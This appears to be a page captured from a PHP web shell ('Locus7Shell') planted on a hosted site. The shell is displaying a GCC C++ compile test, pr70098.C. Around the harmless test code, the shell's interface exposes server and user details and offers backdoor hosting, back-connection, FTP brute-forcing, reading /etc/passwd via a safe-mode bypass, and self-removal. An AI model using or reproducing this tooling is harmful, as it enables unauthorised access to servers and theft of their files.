Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/g++.dg/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     pr70098.C (1.79 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
// PR target/70098
// { dg-do compile }
// { dg-options -O2 }
// { dg-require-effective-target c++11 }

template < typename > struct traits;
template < typename, int _Rows, int _Cols, int = 0, int = _Rows,
    int = _Cols > class Matrix;
template < typename > class G;
template < typename Derived > struct A {
    typedef G < Derived > type;
};

template < typename Derived > class C {
public:
    enum { RowsAtCompileTime =
            traits < Derived >::RowsAtCompileTime } static Zero;
};

template < typename Derived > class G:public C < Derived > {
};

template < int _Rows > class D {
public:
    long rows() {
        return _Rows;
    }
};

template < typename Derived > class PlainObjectBase:public A < Derived >::type {
    typedef typename A < Derived >::type Base;
    D < Base::RowsAtCompileTime > m_storage;

public:
    long rows() {
        return m_storage.rows();
    }
};

int fn1();

struct B {
    static long run(long x, long) {
        int offset(fn1());
         return x + offset;
}};

long fn2(int x)
{
    return B::run(x, 0);
}

template < typename _Scalar, int _Rows, int _Cols, int _Options, int _MaxRows,
    int _MaxCols >
    struct traits <Matrix < _Scalar, _Rows, _Cols, _Options, _MaxRows, _MaxCols >> {
    enum { RowsAtCompileTime = _Rows };
};

template < typename, int, int, int, int _MaxRows, int _MaxCols >
    class Matrix:public PlainObjectBase < Matrix < double, _MaxRows,
    _MaxCols >> {
public:
    template < typename OtherDerived > Matrix(OtherDerived);
};

struct F {
    static Matrix < double, 2, 2 > run(long size) {
        Matrix < double, 2, 2 > diag = Matrix < double, 2, 2 >::Zero;
        long i = 0;
        while (i < size) {
            long randomInt = fn2(-1);
            if (randomInt == 0)
                ++i;
            else {
                double alpha(randomInt);
                 diag = alpha;
                 i = 2;
            }
        }

        return diag;
    }
};

void fn3(Matrix < double, 2, 2 > m)
{
    long size = m.rows();
    F::run(size);
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0059 ]--